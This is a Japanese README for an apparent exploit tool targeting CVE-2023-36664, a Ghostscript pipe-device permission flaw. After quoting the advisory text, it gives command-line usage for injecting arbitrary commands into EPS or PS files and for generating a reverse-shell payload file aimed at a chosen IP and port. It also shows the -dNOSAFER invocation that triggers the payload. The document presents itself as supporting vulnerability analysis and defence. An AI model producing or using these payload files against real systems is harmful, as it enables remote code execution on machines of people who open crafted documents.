
バージョン 10.01.2 より前の Ghostscript で公開された脆弱性により、コード実行が可能になります (CVSS スコア 9.8)。
公式の脆弱性の説明:
Artifex Ghostscript 10.01.2 までは、パイプデバイス (%pipe% プレフィックスまたは | パイプ文字プレフィックス) の権限検証を誤って処理します。
Debian は、任意のコマンド実行の可能性に言及したセキュリティ勧告を公開しました:
「GPL PostScript/PDF インタープリターである Ghostscript が、パイプデバイスの権限検証を適切に処理しないことが発見されました。不正な形式のドキュメントファイルが処理された場合、任意のコマンドが実行される可能性があります。」
このリポジトリは、vsociety ブログで公開されている CVE 分析ブログ記事のために作成されました。
Ghostscript 10.01.1 はこちらからダウンロード: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 実行ファイルへの直接リンク: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
PS または EPS ファイルを開くと悪用が発生する可能性があり、Ghostscript がパイプデバイスの権限検証を誤って処理することでコード実行が可能になります。
使用方法: python3 CVE_2023_36664_exploit.py <input_file> <command>
例:
python3 CVE_2023_36664_exploit.py file.eps "calc"
これにより、file_injected.eps という新しいファイルが生成されます。
これを Ghostscript で開くと電卓が起動します (バージョン 9.50 以降では -dNOSAFER オプションも使用する必要があります):
gs10011w64.exe -dNOSAFER .\file_injected.eps
その他の例: ペイロード "calc" を使用して run_calculator.eps という新しい EPS ファイルを生成します (Windows で新しい電卓がポップアップ表示されます)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
カスタム IP を使用して rev_shell.eps という新しい EPS ファイルを生成します (Unix でトリガーするとリバースシェルが起動します)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
ペイロード "calc" を使用して malicius.ps という新しい PS ファイルを生成します (Windows で新しい電卓がポップアップ表示されます)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
既存の file.eps というファイルに悪意のあるカスタムペイロード ("calc") を注入します (Windows で新しい電卓がポップアップ表示されます)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
本ソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクト保守者は、本ソフトウェアの誤用について責任を負いません。責任を持って使用してください。